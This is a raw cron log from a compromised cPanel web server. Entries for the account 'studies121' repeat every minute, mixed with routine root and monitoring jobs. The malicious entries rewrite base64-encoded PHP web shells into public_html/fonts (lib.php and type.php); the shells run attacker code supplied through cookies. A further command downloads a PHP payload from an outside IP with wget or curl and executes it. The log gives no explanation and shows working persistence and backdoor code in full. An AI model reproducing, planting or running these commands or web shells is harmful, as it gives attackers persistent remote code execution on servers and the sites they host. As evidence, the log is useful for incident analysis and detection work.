Sep  9 13:51:01 ip-184-168-122-23 CROND[28141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:51:01 ip-184-168-122-23 CROND[28144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:51:01 ip-184-168-122-23 CROND[28143]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:51:01 ip-184-168-122-23 CROND[28145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:52:01 ip-184-168-122-23 CROND[28240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:52:01 ip-184-168-122-23 CROND[28241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:52:01 ip-184-168-122-23 CROND[28243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:52:01 ip-184-168-122-23 CROND[28244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:52:01 ip-184-168-122-23 CROND[28245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:53:01 ip-184-168-122-23 CROND[28325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:53:01 ip-184-168-122-23 CROND[28327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:53:01 ip-184-168-122-23 CROND[28328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:53:01 ip-184-168-122-23 CROND[28329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:54:01 ip-184-168-122-23 CROND[28408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:54:01 ip-184-168-122-23 CROND[28410]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:54:01 ip-184-168-122-23 CROND[28412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:54:01 ip-184-168-122-23 CROND[28416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:54:01 ip-184-168-122-23 CROND[28415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:55:01 ip-184-168-122-23 CROND[28494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:55:01 ip-184-168-122-23 CROND[28498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:55:01 ip-184-168-122-23 CROND[28496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:55:01 ip-184-168-122-23 CROND[28497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:55:01 ip-184-168-122-23 CROND[28499]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:55:01 ip-184-168-122-23 CROND[28500]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:56:01 ip-184-168-122-23 CROND[28581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:56:01 ip-184-168-122-23 CROND[28585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:56:01 ip-184-168-122-23 CROND[28583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:56:01 ip-184-168-122-23 CROND[28584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:56:01 ip-184-168-122-23 CROND[28586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:57:01 ip-184-168-122-23 CROND[28766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:57:01 ip-184-168-122-23 CROND[28768]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:57:01 ip-184-168-122-23 CROND[28769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:57:01 ip-184-168-122-23 CROND[28770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:58:01 ip-184-168-122-23 CROND[28860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:58:01 ip-184-168-122-23 CROND[28862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 13:58:01 ip-184-168-122-23 CROND[28863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:58:01 ip-184-168-122-23 CROND[28864]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 13:58:01 ip-184-168-122-23 CROND[28865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:59:01 ip-184-168-122-23 CROND[28968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 13:59:01 ip-184-168-122-23 CROND[28970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:59:01 ip-184-168-122-23 CROND[28972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:59:01 ip-184-168-122-23 CROND[28971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:00:01 ip-184-168-122-23 CROND[29075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:00:01 ip-184-168-122-23 CROND[29076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:00:01 ip-184-168-122-23 CROND[29078]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:00:01 ip-184-168-122-23 CROND[29077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:00:01 ip-184-168-122-23 CROND[29079]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 14:00:01 ip-184-168-122-23 CROND[29080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:00:01 ip-184-168-122-23 CROND[29081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:00:01 ip-184-168-122-23 CROND[29083]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:00:01 ip-184-168-122-23 CROND[29082]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 14:01:01 ip-184-168-122-23 CROND[29249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:01:01 ip-184-168-122-23 CROND[29251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:01:01 ip-184-168-122-23 CROND[29255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:01:01 ip-184-168-122-23 CROND[29253]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 14:01:01 ip-184-168-122-23 CROND[29254]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 14:01:01 ip-184-168-122-23 CROND[29252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29253]: starting 0anacron
Sep  9 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29269]: finished 0anacron
Sep  9 14:02:01 ip-184-168-122-23 CROND[29466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 14:02:01 ip-184-168-122-23 CROND[29470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:02:01 ip-184-168-122-23 CROND[29468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 14:02:01 ip-184-168-122-23 CROND[29469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:02:01 ip-184-168-122-23 CROND[29471]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 14:03:01 ip-184-168-122-23 CROND[29580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
